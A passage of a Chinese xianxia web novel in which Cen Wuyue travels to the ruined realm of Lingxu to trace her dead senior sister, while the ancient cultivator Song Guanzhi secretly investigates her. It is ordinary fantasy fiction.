“若我需要你,自然会叫你。”岑无月想了想,说,“师父只能收五个徒弟,你知道吗?” 曲燃安静了片刻,道:“那你就是最后一个。……我知道你要办的事了。” “真聪明。”岑无月夸赞他。 曲燃这次竟然没有生气,而是蹙着眉凝视岑无月,最后言简意赅地问:“……能成吗?” “能。” 曲燃咄咄逼人:“那为什么让我带他们回师门,而不是等你一切结束之后亲自带回去?” 岑无月叹了口气,开始掰手指数:“第一,你很闲,我要给你安排点工作。” “……” “第二,储物镯虽然坚固,但我担心之后可能会损坏,总要早做防备。” “……” “第三……我不能为自己留下弱点,师父身边恐怕是这世上最安全的地方。” 说完,她特地多看曲燃一眼,希望他听懂自己话里的明示。 曲燃沉默半晌,还是问了岑无月预料中那句话:“到底要做什么?有这么危险?” “无情道飞升者已经有九人,”岑无月只好拐着弯和他解释,“你觉得太上无相真君和谢还真的不如他们吗?” “或许道与实力并不对等。” “又或许这二人都是故意不飞升。”岑无月说。 —— 其实类似的猜测也不是只有岑无月才提出过。 谢还也就罢了,大家只是觉得他太年轻,还不到飞升的门槛。 可太上无相真君存在的时间实在是太久、太久了。 那飞升九人之中绝大多数都是她的晚辈,不少还受过她的点拨。 他们可以飞升,但作为实力高深的前辈,真君却不能? 当然了,广为流传的解释是,真君是发现业障存在的第一人,并成功阻止了第一次灵脉暴动,至今仍然在为了修真界的安危殚精竭虑,因此主动压制实力,避免飞升。 在第一次灵脉暴动之后,修真界才知道业障的危害。 之后几百年,众修士纷纷舍情、断情,无情道便成了唯一能飞升的正道。 而有情道修通常都会走火入魔、恶念缠身、突然暴毙……哪怕飞升到半路也能死在空中。 另一方面,灵脉被恶念业障污染的情况越来越严重,有情道修士就成了老鼠过街人人喊打的存在。 凡人天生缺陷,控制不了自己的情绪,也就罢了;明明身为修士却为害天下,那简直是人人得而诛之。 好好一个修真界,怎么可能只有一条路能走? 岑无月当然是肯定要走无情道飞升的。 但也得搞清楚当下的“飞升”究竟是个什么情况。 —— 在岑无月解答了曲燃的几个问题之后,他终于不太甘心地带着储物镯离开了。 岑无月调息一夜,第二日离开客栈时,意外听到熟人的消息。 民众们喜气洋洋地交谈着“圣山弟子就在附近”的讯息,并且商量着要不要找时间出去拜一拜、沾些仙气。 是奚逐云的身外之身啊。 千嶂夕夺舍的消息传出后,知道“周妲”是谁的奚逐云也立刻给岑无月传信询问是否需要帮忙。 当时岑无月回了讯,不过白鹤只会去找离得最近的身外之身,那说不定就是现在附近这一个。 岑无月稍微绕道找到奚逐云时,发现他并不是独自一人。 而站在奚逐云旁的那人,衣衫朴素,神情平淡,岑无月从前并未见过。 但见到此人的瞬间,岑无月便意识到了这是谁。 她的孢子上一次碰到这种根本钻不进去、甚至可以说是直接自动休眠的情况,还是在谢还身上。 和谢还同一实力的,就只有那位太上无相真君了。 ——此时,真君的视线已经落在岑无月身上,似乎早就注意到她的来临。 岑无月眨眨眼,便干脆直接走上前去,笑眯眯和奚逐云打招呼:“听说圣山弟子在附近,顺便来看看你。” 她给奚逐云塞了一颗蛋。 奚逐云捧着这个比他拳头还大的蛋,眉梢眼角满是茫然。 ——什么,居然不感兴趣,我还以为蛇都喜欢吞蛋呢? 岑无月面不改色地找了个借口:“可以孵。” 奚逐云很礼貌地道谢,将蛋收了起来,又为岑无月介绍身旁人:“这位是……” 但那人打断了他的话,道:“在下宋观止。” 奚逐云停住话语,蹙着眉有些疑惑地偏头看宋观止。 早知道对方身份的岑无月倒是很淡定。 宋观止确实是这位的真名,只是大家为了表示尊敬都不这么喊,几千年下来没什么人记得。 岑无月从储物戒中掏了一个小一点的蛋递给宋观止:“我是岑无月,请多关照。” 那往后确实是可有得需要关照呢。 第65章 第 65 章 宋观止第一次注意到岑无月, 是在论道会。 在宋观止的位置上,她已经不会再关注修为平庸者、以及小打小闹了。 千嶂夕夺舍一事在其他人看来或许很大,但对宋观止而言无关痛痒。 是, 千嶂夕冒大不韪夺舍他人, 白令先试图杀死道侣又利用千嶂夕, 周家苛责自家人……但这些会影响到修真界的稳定吗? 并不会。 所以全是小打小闹。 引起宋观止注意的, 是此次事件中看似最无辜的岑无月。 不错, 岑无月的师姐是最大的受害者之一。 但岑无月本人却是此次夺舍事件的唯一受益者。 况且, 岑无月在前不久才刚刚应邀来到六合书院。 世上真有这么巧的事情吗? 千嶂夕心神有过一瞬的恍惚, 似是被人所摄。纵然她本人矢口否认,宋观止仍相信自己的判断与直觉。 她的直觉指向的,便是轻轻叹息着接过那具尸身的岑无月。 如果一切都是岑无月的计划,那看似不起眼的她比千嶂夕白令先苏艺桐等人加起来都需要重视。 这几千年来,宋观止只有一条行事准则:维护修真界的稳定。 利于或不影响这稳定的,她便坐视不理、放任不管。 不利于这稳定的, 她宁可错杀、不会放过。 那么岑无月究竟是什么人、有什么目的? 宋观止最先去询问的人便是谢还。 谢还笑嘻嘻道:“她很特别对不对?就是弱了点, 再多活个几百年应该更有意思吧。” 和谢还并不需要弯弯绕绕,宋观止直白地问:“你没有注意到她的疑点?” “疑点?”谢还望天认真地回忆了一下,“虽然不是人……应该说就因为不是人,所以显得和正常人不太一样,这很正常啦。” 宋观止想起来了。 谢还也不正常,某种程度上还特别好骗,询问他的主观想法是个错误的决定。 要从谢还这里获得讯息,只能从客观入手, 比如说可以问:“你和她入六合书院之前就同行, 她一路上做些什么?” “天天吃吃喝喝啊,”谢还答得很爽快, “她比凡人还喜欢吃诶,还说身为修士不会积食是和凡人相比最大的优势——跟其他修士很不一样,对吧对吧?” “……到了六合书院之后呢。” “天天吃吃喝喝啊,她很多事情都还不懂呢,”谢还想起什么,又补充道,“所以我经常带她去看魔修,长些见识,以后可以不走歪路。” 宋观止开始有些后悔找他这一趟了。 毕竟她仔细一想,如果岑无月要骗谢还什么,那应该也不难。 不过来都来了,宋观止还是把想到的问题抛给他:“离开六合书院后,你二人仍然同行,又去做了什么?” 谢还“哇”了一声,把岑无月带着他去邢云宗大肆送钱、最后只是为了拿块牌子,好在地位上压他一头的事情讲了一遍,愤愤不平道:“你评评理,她是不是特别幼稚?就是因为打不过我嘛。但我对她可从来没有动过真格啊?” 宋观止面无表情地听完。 即使时间于习惯等待的她已经没有意义,但听完谢还这一大段,还是会不由自主地觉得——“浪费时间”。 她面无表情地说:“你和岑无月相处得很好。” “那确实,加上她师姐和白令先的事情,我想她应该心情不好所以想干点傻事发泄一下嘛。”谢还一下又高兴了,显然也不是真需要人评理,“所以我就叫了她一声‘长老’——哎,我人真好。” 宋观止:“……那关于千嶂夕的事呢,她想必和你谈过?” 谢还“哦”了一声,露出“我怎么把这给忘了”的表情,但明显并不觉得这很重要,潦草地囫囵带过:“岑无月那天也在鼎元峰,她比论道会上的人都早知道会发生什么事吧?” 宋观止心道还好刚才没有转身就走,不然便错过这信息了:“在鼎元峰的不止三人?” “加上岑无月是四人,”谢还耸肩道,“不过岑无月不杀人,这条誓言未破,肯定不是她动的手。苏艺桐想杀岑无月,千嶂夕是去帮忙的。” 宋观止只觉自己找到了关键之处:“那千嶂夕为何在战后突然决定公开夺舍一事?” “苏艺桐说动的!”谢还斩钉截铁地说,“苏艺桐和向思雨有仇,还帮助周妲解脱,她早就知道千嶂夕用的身体是夺舍来的。” 宋观止刚刚找到的关键之处又没了。 “哦,而且曲燃应该就是岑无月很少提及的那个大师兄。”谢还有些得意,“虽然岑无月不说,但我和曲燃打过几场,能感觉到他们出自同门。” 对于这个消息,宋观止就不太在意了。 曲燃只是个普通的魔修而已,追求的是和其他修士一样的东西。 若是能像他父亲一样杀到飞升那步,方有资格入她的眼。 宋观止问谢还的最后一个问题是:“那现在呢?她有没有说过她要去做什么?” 谢还说是灵墟。 —— 宋观止在从邢云宗去灵墟的必经之路上遇见了奚逐云的身外之身。 对于这世上最后一位圣山弟子,宋观止也很是唏嘘。 她也曾旁敲侧击地让守着名存实亡的净庭山的奚逐云去收几个弟子——没了净庭山,修真界可经历不起下一次紫霄州之变。 但奚逐云就是不听。 也是,修道到了极致,都是坚信自己之道的人,怎么会因为他人的几句话而轻易动摇、破了自己的道心? 宋观止自己也有巨大的执念,设身处地来想,她一没有硬要说服奚逐云改变主意的资格、二也无法措出足够有力的言辞。 见到宋观止,奚逐云有些意外,周到地行了礼:“真君若有事寻我,传讯即可。” 宋观止道:“我想问问你玄枢城之事。” 她已知晓岑无月在玄枢城时与奚逐云和辞青都相处得很不错。 只是玄枢城路远,加之辞青又在闭关,若非必要,宋观止倒也不至于破坏他人的重要闭关。 “玄枢城?”奚逐云疑惑道,“可以是可以,只是当时在玄枢城是另一具身外之身,只怕知道得不够详尽。” “也可告诉我那具身外之身的所在之处,我去寻便是。”宋观止道。 以她的实力,无论去哪里都很快捷。 奚逐云却道:“这恐怕是不行了,那具身外之身已毁。” 宋观止有些可惜。 但净庭山弟子本就是以命换命,奚逐云的身外之身也不是第一次因此消耗。 因此她只是轻轻道:“有劳了。” “只是尽净庭山弟子的本分而已。”奚逐云摇摇头,随后将在玄枢城之事一一道来。 他是个比谢还无趣得多、但又详实得多的叙述者,完全不会让宋观止生出“浪费时间”的念头来。 将玄枢城的灵脉暴动听了一遍,宋观止判断道:“玄枢城撑不过这几年了。” 长老杀了个遍,唯一能撑起城的城主却重伤,如今让一个二流角色来代理城主,根本不可能继续坐落在那条动荡的灵脉之上。 奚逐云顿了顿,似乎被她冰冷的语气触动,但最终还是轻声叹息着认同:“确实。我看辞青城主对此也是有所预料,此次她闭关,恐怕是死关。” 宋观止沉吟斟酌片刻,还是点了岑无月的姓名:“那岑无月呢?” 奚逐云立刻转头看向她,那是极为下意识的反应,其中带着一丝防备。 宋观止感到了些许诧异,立刻追问:“为何如此?” “岑无月……”奚逐云转开脸,“同我很相似。” 宋观止并不打算容忍奚逐云的含糊其辞,她直觉这内里有重要的信息:“你有所隐瞒。” “只是我的私事,真君为何掘地三尺?” “……”宋观止重复道,“私事?” ——岑无月就是在这时候出现,并且正好打断了对话。 宋观止满以为自己已经留了足够多的时间给这场对话,没想到并不够。 但是她自己要循着岑无月的脚步来这座城镇,也没什么可抱怨。 宋观止注视着岑无月,试图从这个看起来简直是不谙世事的小姑娘身上看出一些什么——在谢还、在奚逐云描述之外的,别的什么。 可是没有。 岑无月笑盈盈地和奚逐云打完招呼,而后不由分说地塞给他一枚蛋。 别说奚逐云愣住了,宋观止也想不明白。 ——她神识一扫便知道,这也不是什么灵兽蛋,只是一颗鸵鸟蛋。 除了岑无月和谢还这两个叛逆的,还有哪个辟谷的修士会煮蛋吃? 岑无月一本正经地解答二人的疑惑:“可以孵。” 奚逐云就真的收下了,还认认真真地向岑无月道了谢。 而宋观止无言旁观,她的直觉告诉她,岑无月是在逗奚逐云玩儿。 当奚逐云要向岑无月介绍宋观止的身份时,宋观止主动打断。 她还不想让岑无月知道自己是谁。 修真界并没有许多人知道宋观止的真名、样貌。 或许以“宋观止”而非“太上无相真君”的身份,能让岑无月更快地放下戒心。 报上自己的名字后,宋观止万万没想到自己也从岑无月那里得到了一颗蛋。 她又用神识下意识扫了一下。 甚至只是颗普通的鹅蛋。 —— 除了有些天马行空、十分贪嘴之外,岑无月身上确实没有疑点。 她出世以来,确实在三处地方长时间停留过。 玄枢城发生变动,但奚逐云说了全程,确实与岑无月无关; 翊麟城毫无变化; 六合书院的是场人祸,且来龙去脉、罪魁祸首都一清二楚,也与岑无月无关。 宋观止看着岑无月,理智上知道对方没有任何问题,直觉却一阵一阵地扎着皮肤,提醒她眼前之人必有蹊跷。 可蹊跷究竟在何处? 就算在此时此地直接杀死岑无月…… 奚逐云忽地转头看向宋观止。 宋观止却早已将那一刹那的杀意掩盖下去,叫奚逐云以为只是自己的错觉。 只因宋观止一瞬便否决了自己的那个想法。 ——就算要杀岑无月,也要在知道她的计划后、在无人知晓时再杀。 许多棋局,哪怕布局之人已经死去,也仍旧会继续运转下去。 有时候,棋手自身的死亡甚至会是棋局中早已定好的一环。 贸然杀死岑无月,很可能并不能解决烦扰,而会将其扩大。 另一方面,若是毫无理由就杀死岑无月,奚逐云恐怕无法接受。 而他是净庭山的最后一人,至少到目前为止,宋观止还不能失去他。 宋观止只有继续调查,找出岑无月的目的。 ——是的,在与岑无月见面后,宋观止已坚信岑无月定有一盘棋。 既然决定相信直觉,那宋观止要做的事便很简单:看清盘上每一粒棋子的位置,而后抢先一步破局。 第66章 第 66 章 听说岑无月要去灵墟, 奚逐云很不赞同。 但这也不是他第一次不赞同岑无月的决定,更不是第一次劝阻失败。 于是他只是扫过岑无月颈间,确认护符仍未失效, 随后叮嘱她:“若有事, 立刻让小鹤来找我, 灵墟附近必定有其他身外之身。” 岑无月乖巧爽快地答应下来, 又笑眯眯同宋观止道别。 那位隐藏了身份的天下第一朝她稍稍点头, 并没有多说什么。 其实觉得宋观止隐藏身份很成功的人, 可能也只有宋观止自己和有些方面很是天真的奚逐云。 哪怕岑无月猜不到她确切的名字, 即使她已经下意识收敛自己一身的修为灵力……但一个人“站在山巅”久了之后,总是不自觉会变的,而那是根本隐藏不了的东西。 宋观止身上就带着久居高位的气势。 仿佛她知道自己目光可及的每一处,都会由她来做最终决定,而无人有置喙的资格。 有这身气势的人,怎么可能是普通人? 不过嘛。 既然打不过, 那就看看宋观止想干什么喽。 提前行动固然可能会获得主动权, 但也更容易暴露目的。 —— 去灵墟之前,岑无月顺路走了一趟玄枢城。 三年未到,辞青仍然在“闭关”,城内百姓们倒是一如既往乐呵,全然不知这样的生活将要破灭。 对此,桑青对岑无月叹道:“无知是福,这样也不错。” 岑无月安慰道:“别这么想,说不定辞青城主很快就出来了。” 桑青沉默半晌, 最终只是摇摇头, 另起话题:“你怎么回来了?有事要办?” 修仙界的人因为寿命长,行程通常都是十年起步, 出门一趟就一百年的也不在少数。 岑无月离开玄枢城才只有区区几个月的时间——甚至不足半年——突然返回,便显得十分异常。 岑无月叹气道:“我二师姐的事情,城主听说了吗?” 桑青将面前食盒往岑无月的方向推了推,道:“……节哀顺变。” 安慰得很努力。 “所以我想,还是尽快去灵墟看看吧,说不定还能找到三师姐相关的线索。”岑无月拈起被白霜包裹的柿饼,道,“翊麟城的两位封家前辈都说她陨落于紫霄州之变。” “灵墟?那也太危险了,你独自前往?”桑青蹙眉问。 桑青这么一问,岑无月发现她比从前更“像人”了一些,细微的表情变化也比从前更多了。 岑无月笑道:“城主不必担心我,这一路我虽长进不大,但很是结交了一些厉害的前辈与朋友,大家担心我,总给我塞法宝、丹药……多得用不完,进灵墟一探应当是绰绰有余,若实在应付不了,我自会寻机离开的。” 桑青稍稍放心下来,而后也唤来偃甲去取东西赠予岑无月。 “上次你走时,玄枢城兵荒马乱,我焦头烂额,没顾得上礼节。”桑青说,“如今稍稳定一些,也正好清点完几位前长老的家产,你莫要推辞。” 岑无月乐道:“城主多虑了,这样的好事,我从来不推辞。” …… 临走前,岑无月同桑青说了一声,又去辞青的千机房外看望。 名义上,辞青仍在闭关,岑无月自然不能进去。 她立在阵法之外,闭着眼睛花了一会儿工夫细细感受千机房内的孢子活动。 再度睁开眼睛时,岑无月笑了一下。 不愧是太上无相真君,动作确实是快啊。 —— 宋观止不需要飞行法宝,她本身的速度比那些更快。 因此,听说岑无月有顺路回玄枢城的打算,她便提前一步到了玄枢城。 玄枢城算是个中上的势力,算不得顶尖。 主要是辞青曾有飞升之资,宋观止确实关注过她。 听说辞青成功制作出契偃后,宋观止还准备找个时间前来拜访,没想到契偃弄丢到如今都没找回来不说,辞青还因为长老叛乱而重伤闭关。 恐怕辞青这个人选是不成了。 苏艺桐死了。 千嶂夕也没了。 星玄度睁眼后未有动静。 得再找下一个。 这样一算,竟是几个月的时间就飞快失去了四个可能的飞升人选。 细细想来,时间正好和岑无月下山以来的时间吻合。 宋观止更确信岑无月不可能是无辜的了。 抵达玄枢城时,宋观止并没有通知玄枢城城主的打算——尤其是在她发现代理城主只是一具做工非常精致的傀儡时。 宋观止先是去看了城外的灵脉。 奚逐云说过这条灵脉已经无法彻底洗清,因此在见到灵脉颜色并不清澈时,宋观止并不惊讶。 她只是觉得这条灵脉的灵气有些稀薄,像是在短时间内被人使用过度一般。 ……不过,暴动也算是一种过度使用。 巡视过整条灵脉的运行,宋观止很快对玄枢城的寿命有了判断:没几年了。 原先的玄枢城,也不过是靠着辞青独步天下的偃甲技术强行续命,如今辞青无力支撑,城便只是在等死。 那么,说到辞青。 宋观止轻而易举地在无人注意的情况下进入城主府,找到辞青的千机房。 千机房内外的阵法让宋观止觉得有些意思。 她站在外细细揣摩片刻后,明白了原理。 即使是宋观止,也无法在不破坏此阵的情况下进入其中。 不过只是暂时拨开一个小口的话,就不难了。 宋观止将一束神念送入千机房中,见到了闭关中的辞青。 辞青盘坐在桌前,对来人浑然不知。 她只是双眼半闭,看起来在试图控制体内横冲直撞、紊乱不已的灵力。 宋观止细看一眼就皱起了眉。 ——那是明显的心魔滋生之态。 恐怕辞青闭关原因并不是所谓的“在长老之乱中受了重伤”,而是已经压不住自己的心魔,不得不出此下策。 宋观止倍感失望。 因为以辞青的修为,即使出现心魔,最少也可压制几十上百年而不轻易爆发。 既然如今才失控,说明心魔早在几十上百年前就已出现,便不可能和才下山一年不到的岑无月有任何关联。 按之前送来的情报,长老们的叛乱之心早就存在,前任城主之子逃出玄枢城更是许多年前的事。 无论怎么看,岑无月似乎都只是碰巧在前任城主之子动手之前进入了玄枢城,又因为封城而被倒霉地在里面关了一段时间。 余铮会闯入岑无月的客栈房间,因为知道她是城主府吩咐客栈要好好招待的客人。 长老们会针对岑无月,是因为觉得她知道余铮带走的契偃消息。 辞青教导岑无月偃甲之术,除了出于旧情、爱才,或许还有一些将她不小心牵扯进整件事的赔偿之意。 身处局外,宋观止完全能看明白那场叛乱是辞青与长老们的博弈,也能明白岑无月不可能插手她到来之前发生的事。 可她始终觉得有什么地方不对劲。 是那具下落不明的契偃吗? 可宋观止将整座玄枢城仔仔细细扫了一遍,也没有发现那应该没有离开玄枢城范围的契偃。 ……那便只有一个可能了。 其实根本没有什么成功制作出的契偃,只有辞青钓长老们上钩的噱头。 庸俗的权力争斗罢了。 宋观止摇着头离开玄枢城,这一次的下一个目的地是翊麟城。 去翊麟城,便不能像去玄枢城那样随意。 要问为什么的话…… 宋观止遥遥看向翊麟城空中。 尽管“天门”尚未打开,但那里仍有一丝若有似无的注视投来。 本来这只未成形的城灵也未必能察觉到宋观止的气息,可谁叫谢还觉得好玩,把自己的本命灵力给了它? 宋观止与谢还的实力在伯仲之间,若是真的殊死搏斗,还不知道结果如何。 好在,谢还选择和她站在同一边,于是这场殊死搏斗便不必发生。 宋观止淡然入城,向封晓风传了讯,只说自己只是路过,想低调些,叫他不必来迎。 这就算是通知、走过明路了。 也免得封家人平白诚惶诚恐。 在宋观止看来,这一家人被权力侵染过深,又对“神兽”执迷不悟,恐怕很难出飞升之人。 只有这城灵有一些意思,但也只有一些。 要说它是神兽,那实在有些不伦不类,蔑了“神”这个字。 宋观止在城中走了几个岑无月停留过的地方,又特地去看了秦鲤和封不眠,最终只有一个结论:岑无月的偃甲术确实学得很不错,辞青教导她,或许也有死前找个传人将自己技艺传承下去的想法吧。 “真君好兴致。”一个女声轻轻地道。 宋观止头也没有回,便道出来人身份:“封晓月——我已说过不必来迎。” “城主确实没有来迎您。”封晓月柔柔地说,“况且我已等了片刻,想必真君想看的都已经看过,仍不离开,应当接下来就该询问我姐弟二人了吧。” 两人此时站在那平伏的天阶旁,离圆台只有几步之遥。 “人人都说这天阶是真君所筑,您也不曾反驳,”封晓月说,“翊麟城承您的宽容恩情,若有问,必不隐瞒。” 宋观止转过身来,道:“天门的真相也可问?” “……”封晓月叹息,“这并不用问,您一直知道真相,只是放任我们如此,不是吗?” 她猜得很对。 无论是什么人、尝试用何种方法飞升,只要仍是无情道,宋观止都不会插手,而是会静观他们的尝试结果。 因为她也在等待一个不同的答案。 “况且,我与城主已经决定,未来终有一日会将此事大白于世。”封晓月说,“届时,翊麟城会承担起所有该当的骂名。” 宋观止观察封晓月片刻,发现她居然不像是在说谎。 这叫她对封晓月的印象有了一些改变。 于是,沉吟片刻后,宋观止便直接开口道:“将岑无月在翊麟城的所有事都告诉我。” 封晓月脸上闪过讶异之色,但很快又变得温和:“这或许就有些长了,是否要去往府内详谈?” 宋观止同意了。 到了会客室时,她发现封晓月桌角上放着一具做工精致的偃甲。 偃甲面孔漂亮,眼带笑意,斜着面向桌后。 而且使用的技艺很有些眼熟。 “岑无月做的?”宋观止直接问。 封晓月刚刚坐到桌后,闻言和偃甲对视一眼,露出笑意:“是,我与城主各有一个,都是她亲手制作。” 宋观止多看了一眼偃甲的样貌,并认不得:“雕的是谁?” 不是封晓月封晓风,也不是岑无月自己。 哪有这样送礼的? 听到宋观止的第二个问题,封晓月的笑意淡了。 片刻后,她轻轻叹息着说:“既然如此,岑无月的事情,我便从这里开始说与真君听吧。……这正是照着岑无月的三师姐,鹿云渺,所制作的偃甲。” 第67章 第 67 章 想要抵达灵墟并不容易。 灵墟毕竟产生于多条灵脉汇聚之处暴动产生的巨大灾厄, 而灾厄的范围之广,不止死去一个紫霄州。 紫霄州外围延伸出去几百里都寸草不生、瘴气弥漫。 这一片寸草不生的区域,被称作鬼原。 鬼原再向外, 才开始陆续有村落存在。 越是从鬼原靠近灵墟, 瘴气越是厚重。 对于修士来说, 将灵力缠绕全身便能阻绝瘴气的伤害, 可瘴气会逐渐侵蚀灵力, 而修士的灵力又不是无穷无尽, 等耗尽时再回头, 未必来得及离开鬼原的范围。 进入鬼原是相当危险的,这也是它名字的由来。 不过对于谢还来说,没什么危险可言。 甚至和回家差不多。 因为自从紫霄州变成灵墟的那天起,他就没有离开过这里。 谢还的身外之身闲庭信步地穿过鬼原,踏过与灵墟的交界线时,眼前的场景倏然一变。 若说鬼原是没有生灵气息的死亡地带, 那灵墟简直不能算是这世间的领域, 而是令进入者怀疑自己已经进入了死后的地狱。 因为这里只有黑与白。 不止天空、大地都是黑白交杂的涂层,就连进入此间的人物自身也褪去了色彩,只剩黑白二色。 不同的人,黑白比例不同。 谢还自己不太稳定,高兴的时候白多,不高兴的时候黑多。 他记得翊麟城封家有个人也来过,那人来的次数越多,身上黑色就越多。 太上无相真君就很神奇, 她一直都是纯白色, 只有少许黑线勾勒身周轮廓。 而她保持白色的秘诀也很简单粗暴。 身外之身见到本体与宋观止面对面站着时完全不惊讶,随意地打一声招呼便道:“又来割肉啦?” 正以手为刀、将身上那些黑色的部分切落的宋观止看他一眼, 没有说话。 她只是非常仔细、非常精准地将那些黑色从自己的神魂中剥离抛弃,尽量保持自身的纯净。 那些被切落的黑色部分一落地便软软地融入进去,最终化作黑色大地的一部分。 蹲在宋观止左边的谢还本体啧啧称叹:“真君,割肉技术比从前更熟练狠辣。” 站在宋观止右边的谢还身外之身连连鼓掌:“真君,话又说回来了,你的神魂黑得也比从前更快。” 虽说没有太多观察对象——因为会进入灵墟找死的人本就不多——但谢还以自己、以从前那个封家人来参考,再辅以超强的直觉,也能知道宋观止这样不正常。 她的黑色增殖实在太快,所以才不得不定期到灵墟对自己进行“清理”。 当然了,她这种方法除了她,没几个人真的能用。 而且也治标不治本。 “这不重要。”宋观止冷淡地说,“你觉得下一个飞升的会是谁?” 蹲着的谢还本体想了片刻,道:“沈叩玉?” “星玄度呢?”宋观止问,“你不是去过鹰州看他了。” “他的眼睛我是看过了。”回答的是谢还的身外之身,“他虽然资质不错,但也得重新修炼,不得要个几百年的。” “周临岐?” 两个谢还同时露出震惊的表情:“你认真的?” 宋观止的神情没有变化:“万一他有奇遇,说不定后来者居上。” “真有这种离谱奇遇,狗都能后来者居上。”谢还不以为然,“周临岐绝无可能,除非他那不存在的双胞胎兄弟突然跳出来说自己这么多年一直活着。” 宋观止停顿片刻,将其他人选都捋了一遍,问:“奚逐云?曲燃?” 谢还越听越摇头,还是本体和身外之身一起摇:“不行,都不行。” “……”宋观止落下最后一刀,重归纯白,“岑无月?” 两个谢还都不摇头了,一同陷入沉思。 本体若有若思:“也说不定?” 身外之身立刻明白:“哦,你是说她要是把那几只都用上的话?” 本体面露纠结:“但她真的会这么做吗?” 身外之身跟着摇头:“飞升不像是她的第一目的。” 他自己和自己交流了半天,才一起看向宋观止,道:“也有可能。” “那你觉得她是你我一直在等的人吗?”宋观止又问。 本体道:“这说不好。” 身外之身说:“也不是很希望如此。” “我希望她是,”宋观止说,“越早找到那人,世间便越早能太平安宁。” 她说罢,挥袖转身便要走。 身外之身喊住她:“哎,还漏了一块。” 本体指指点点:“哪能叫漏,明明是刚长出来的。” 宋观止低头看自己手臂,面无表情地又切掉一块黑色,而后化作一道纯白的光离开灵墟。 两个谢还一起目送她远去。 身外之身说:“虽说灵墟本来就汇聚了大半个天下的恶念,但别人至少是无意识的,你说真君每次把垃圾刻意扔在这儿是不是不太道德。” 本体显得宽容一些:“她需要考虑的东西多嘛,跟我们不一样。” 身外之身蹲下,抓一把地面的黑土,看它们顺着指缝落下:“你真觉得真君的想法是个好办法?” 而本体似乎听见什么动静,偏头向远方看去:“至少她有想法——唉,我过去一下。” 前半句话还在回答,后半句话落下时人就已经不在原地了。 身外之身还蹲在原地,看黑土落得差不多后,朝掌心里吹了口气,将剩余的部分吹走。 远方传来打斗的声音,以及非人非兽的咆哮。 没什么好看,也没什么悬念,谢还在灵墟能干的就那么几件事:修炼睡觉打恶念。 谢还揍这恶念好几十年,老熟练了,几拳就能揍得它哭爹喊娘。 而可以自动活动的身外之身能干的事就多了。 比如眼下,在岑无月抵达灵墟之前,他可以先去找找岑无月的三师姐鹿云渺是在哪里死的。 谢还的记性很好,但他不是什么事情都会去记。 如今的灵墟也不是从前的紫霄州,放眼望去,这片平坦无垠的废墟上连个突起的东西都很少,想找某个具体的地点简直是大海捞针。 —— 岑无月来时一身轻松,好像穿越鬼原和吃一碗鱼丸这两件事的难度没有任何区别。 和任何刚进入灵墟的人一样,岑无月停在边缘处,好奇地观察着自己的身体变化。 她身上黑白双色同时存在,交替流转,显得十分和谐。 就在岑无月蹲下身研究纯黑地面的时候,谢还悄无声息地靠近,弯腰凑近些,冷不丁出声:“是不是很神奇?” 压根没被吓到的岑无月抬头,见到谢还便笑了。 她认认真真看他几眼,才问:“这就是你只能留在这里的原因?” 紫霄州之变中,没有人能毫发无伤地离开——这句话包括了谢还。 并不是谢还的实力不够。 恰恰是因为太够,才只有他能胜任在此处担当一枚阵眼、暂时阻止灵墟继续向外扩散的职能。 但这只是一时的方法。 永久的方法,便主要由可以自由行动、且身为方法提议者的宋观止来完成。 谢还不太过问细节,他觉得自己既然认可宋观止的计划,那按宋观止的安排来做就可以了。 “是啊,”谢还朝岑无月一扬下巴,自得地说,“现在明白我的伟大与牺牲了吧?” 岑无月站起身,用一种很奇特的眼神看他。 怎么说呢,不太像“肃然起敬”,倒有点像“怜悯”。 一定是错觉。 岑无月问道:“那你有没有想起来和我三师姐有关的事情?” “一点,”谢还早有准备,答得非常坦白,“你三师姐也不是人,对吧?我记得她最后现出原型,是为了掩护其他人死的。” 岑无月看起来并不惊讶。 好像她早就知道鹿云渺的身份,也明白那就是鹿云渺的性格会做的事。 “其实也不一定,她实力还可以的。”谢还想着想着,纠正自己的前言,不太确定地道,“应该说,是为了掩护其他人而受伤,然后莫名其妙就死了……?” 说这话的时候,谢还观察到岑无月的双眉向上扬了一下,像是夸赞,像是惊讶。 “怎么?”他好奇地问。 “只是在想,如果在去翊麟城之前就来灵墟,应该也足够。”岑无月说罢,又笑,“不过不到翊麟城,我也不会知道三师姐最后出现的地方是灵墟。” 谢还知道岑无月脑子好使,是一种无师自通、毫不费力的好使。 他自己在修行上就是如此,因此大概也明白那是什么感觉。 但这也恰巧终于让他明白了别的修士听到他说“这么简单你都想不通?不是一看就知道了?”时,为何总是面目扭曲、莫名发怒。 ——我什么都没说你凭什么就一副完全明白了的表情? “我三师姐应当是和翊麟城的人在一起?”岑无月问谢还,“你还记得位置吗?” “这几天刚找到大致方位,”谢还转身,勾勾手示意岑无月跟上,“但你找不到想要的东西。” 岑无月跟在他身旁,好奇地问:“为什么?” “在这里,一切都会融化、消失。你三师姐早就是这里的风、这里的土、这里飘走的灵气。” “哇,”岑无月惊奇地说,“谢还突然诗兴大发。再来两句?” 好,谢还觉得她根本不需要安慰。 害他白白努力了一下。 “我听小师兄说过三师姐的事情。她说,每一次做出救人的选择时,都应当做好可能会付出代价的准备。有时代价很小或是没有,但有时也可能会失去生命。”岑无月语气轻快地说着逝去故人们的事,“既然三师姐一生都在做这样的事,我想她应该也不会对自己的死感到怨怼后悔的。” 第68章 第 68 章 谢还确实找到了鹿云渺死前的位置, 而且其实没费太多力气。 “——为什么这里的地面颜色不一样?”岑无月蹲在地上,好奇地翻弄那些黑白两色交杂的泥土。 谢还也没想通,他只能说一句正确的废话:“因为你师姐。” 岑无月恍然大悟地说:“我师父说高僧死后可以烧出舍利, 也是差不多的道理吧!” 谢还也没见过高僧, 但他很添乱地自信点头:“应该是。” 岑无月对着掌心的一抔土嗅嗅, 遗憾道:“可惜, 师姐不在这里。” 谢还大感好奇, 也蹲下闻闻, 但只闻出腐烂的泥土味, 匪夷所思:“蜘蛛鼻子这么灵敏吗?” 岑无月乐了:“不是你说的一切都会融化和消失吗?” 谢还觉得她刚刚讲的那句话不是他话里那个意思。 岑无月总有这种本领,你看着她要往东走,一眨眼发现她其实在往西。 谢还最不擅长应付这种。 他干脆直接问:“那你来灵墟的目的岂不是没有达成?” “只是来做一次确认而已。”岑无月拍拍手掌,将那些形似泥土、但成分微妙的物质拍落,站起身来,“毕竟灵墟发生过那么大的灾厄, 很难想象她还会有一部分遗体残留于此。” 她这么一说, 谢还又想起一些事:“紫霄州之变后,确实有人进来搜索残骸,她就在这一片附近活动。” 他说到这里,停下看一眼岑无月。 